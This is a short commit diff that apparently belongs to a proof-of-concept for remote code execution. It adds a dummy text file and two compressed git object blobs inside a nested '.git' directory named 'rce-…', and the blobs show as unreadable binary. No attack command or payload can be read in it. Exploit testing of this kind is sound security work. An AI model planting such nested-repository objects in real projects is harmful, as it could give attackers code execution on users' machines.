poc: add 3rd file on writer before read

api_dummy_3.txt

@@ -0,0 +1 @@
+third dummy via API (before pwned read).

nested/rce-6c5f51a1-1.git/objects/67/113fda556eb411a805e1acf4a337adc52c7e32

@@ -0,0 +1,3 @@
+x
+)JMU0·`040031QrutńuŐËMaŘ�ú5›ýĂ
+�_ߧ<¬yđ¨PrE#TQ~Qz|JinnĄ^IE	Cč=�C
+ď.ÎŽ?zcŠEVĆĘi
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^ď#x

nested/rce-6c5f51a1-1.git/objects/78/65bb71934e4e44c9a0e2621b58b9cd313e0f69

@@ -0,0 +1 @@
+x
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